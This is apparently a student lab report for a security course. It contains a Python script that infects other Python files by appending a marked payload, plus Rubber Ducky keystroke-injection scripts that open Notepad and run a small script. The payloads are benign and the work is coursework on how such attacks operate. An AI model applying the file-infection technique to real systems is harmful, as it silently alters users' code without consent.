CSE3140 — Lab 2

Mike Medved, Eddie Kruah

October 6th, 2022

Deliverables

Question 1

Part A

In order to print out all of the files in the current directory, we made a small Python script:

```python
import os

if __name__ == '__main__':
    for file in os.listdir("."):
        if os.path.isfile(os.path.join(".", file)):
            print(file)
```

Part B

In order to check all files to see if they have been infected, and then infect them to run a custom payload, we modified our Part A script:

```python
import os
import sys

if __name__ == '__main__':
    # Take in the target and make sure its a Python script
    target = sys.argv[1]
    if not target.endswith(".py"):
        sys.exit(1)

    """
    We can check if the file has already been infected by
    checking if any of the lines include the "virus" header
    we will generate.
    """
    injected = False
    with open(target, "r") as f:
        for line in f:
            if "## __virus" in line:
                injected = True
                break

    """
    If the file has not yet been infected, we can inject
    the virus payload to the end of the file. This payload
    will write all command line arguments into "Q1B.out"

    We will start the payload with "## __virus" so that
    we can later detect if the file has already been infected.
    """
    if not injected:
        with open(target, "a") as f:
            f.write("""
## __virus
import sys
import os

with open("Q1B.out", "a") as f:
    f.write(f"{' '.join(sys.argv)}\\n")
""")
```

Part C

Pending

Question 2

Pending

Question 3

In order to execute the payload specified for this question, we wrote a Duckyscript and compiled it onto the Rubber Ducky in the lab.

The DuckyScript contained the following payload:

```
REM Question 3
REM Target: Windows
REM Stop script once Notepad is opened and names are written
DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 500
STRING Mike
DELAY 500
ENTER
DELAY 500
STRING Eddie
```

Question 4

Similarly to Question 3, we wrote a DuckyScript to execute the payload specified for this question.

```
REM Question 4
REM Target: Windows
REM Stop script once Python script is written and executed
DELAY 1000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 500
STRING print("Hello World")
DELAY 500
ENTER
CONTROL s
DELAY 500
STRING C:\Temp\Q4script.py
ENTER
DELAY 500
GUI r
DELAY 500
STRING cmd
DELAY 500
ENTER
DELAY 500
STRING cd C:\Temp
ENTER
DELAY 500
STRING python3 Q4script.py
ENTER
```

Question 5

Pending